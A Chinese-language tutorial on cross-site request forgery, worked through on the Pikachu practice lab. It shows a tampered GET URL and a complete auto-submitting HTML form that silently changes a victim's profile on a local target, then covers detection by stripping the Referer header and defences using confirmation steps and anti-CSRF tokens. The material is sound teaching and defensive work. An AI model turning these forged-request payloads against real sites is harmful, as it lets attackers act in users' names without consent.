1. 程式人生 > 實用技巧 >CSRF 跨站指令碼請求偽造

CSRF 跨站指令碼請求偽造

CSRF

1.簡介

  CSRF是指跨站請求偽造。可以這樣理解,攻擊盜用目標身份,以目標的名義進行違法操作。與XSS不同的是,CSRF不用獲取目標的cookie,而是直接利用目標使用者當前會話資訊,向伺服器傳送非法請求,完成自己的目的。

  CSRF攻擊有兩個重點:

  CSRF的攻擊建立在瀏覽器與Web伺服器的會話中;

  欺騙使用者訪問URL。

2. 攻擊場景(GET)

  這裡我們用pikachu靶機來舉列說明:

  首先進入CERF模組,選擇”CSRF(GET)“進行登入,之後可以看到有修改介面:

  

  點選Submit,進行抓包:

 

  拿到GET請求包中的URL連線:

/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=1779505414&add=china&email=666666%40pikachu.com&submit=submi

  對引數的value值進行修改,(攻擊者誘導目標使用者)訪問該連結

  

  轉會到原網頁,發現性別被修改:

  

  至此一次完整的CSRF漏洞利用過程完成

3. 攻擊場景(POST)

  從上面的列子我知道GET型CSRF的利用依靠了URL連結中的引數“xxx.php?id=122”這樣,而當請求包為POST時,無法構造這樣的URL連結,是不是就沒有CSRF漏洞了呢?我可以看看下面的列子:

  還是pikachu平臺,選擇“CSRF(POST)”模組,登入後選擇修改資訊,點選”Submit“進行抓包:

  

  這是我們發現在POST包中沒有將引數放在URL中提交,而是在下面的表單中提交,所以我們構造一個post.html頁面,偽造表單頁面:

<html> <head> <script> window.onload=function(){ document.getElementById("postsubmit").click(); } </script> </head>
<body> <formmethod="post"action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <inputid="sex"type="text"name="sex"value="boy"/> <inputid="phonenum"type="text"name="phonenum"value="12138"/> <inputid="add"type="text"name="add"value="hacker"/> <inputid="email"type="text"name="email"value="[email protected]"/> <inputid="postsubmit"type="submit"name="submit"value="submit"/> </form> </body> </html>

  接下來只要將這個POST頁面傳送給目標,誘使目標點選即可完成修改: 

 

4. 檢測

  檢測CSRF漏洞是一項比較繁瑣的工作,最簡單的方法就是抓取一個正常請求的資料包,去掉Referer欄位後再重新提交,如果該提交還有效,那麼基本上可以確定存在CSRF漏洞。

  隨著對CSRF漏洞研究的不斷深入,不斷湧現出一些專門針對CSRF漏洞進行檢測的工具,如CSRFTester,CSRF Request Builder。

  以CSRFTester工具為例,CSRF漏洞檢測工具的測試原理如下:

  使用CSRFTester進行測試時,首先需要抓取我們在瀏覽器中訪問過的所有連結以及所有的表單等資訊,然後通過在CSRFTester中修改相應的表單等資訊,重新提交,這相當於一次偽造客戶端請求。如果修改後的測試請求成功被網站伺服器接受,則說明存在CSRF漏洞,當然此款工具也可以被用來進行CSRF攻擊

5. 預防

  5.1 二次確認

   在呼叫某些功能時進行二次驗證,如:刪除某使用者時,產生一個提示對話方塊,提示“確認刪除使用者嗎?”。轉賬操作時,要求使用者輸入二次密碼。

   設定驗證碼。

  5.2 Token 認證

   目前主流的對CSRF的防禦,一致的做法是使用一個Token(Anti CSRF Token)。

   例子:

   1、使用者訪問某個表單頁面。

   2、 服務端生成一個Token,放在使用者的Session中,或者瀏覽器的Cookie中。

   3、在頁面表單附帶上Token引數。

   4、使用者提交請求後, 服務端驗證表單中的Token是否與使用者Session(或Cookies)中的Token一致,一致為合法請求,不是則非法請求。

   這個Token的值必須是隨機的,不可預測的。由於Token的存在,攻擊者無法再構造一個帶有合法Token的請求實施CSRF攻擊。另外使用Token時應注意Token的保密性,儘量把敏感操作由GET改為  POST,以form或AJAX形式提交,避免Token洩露。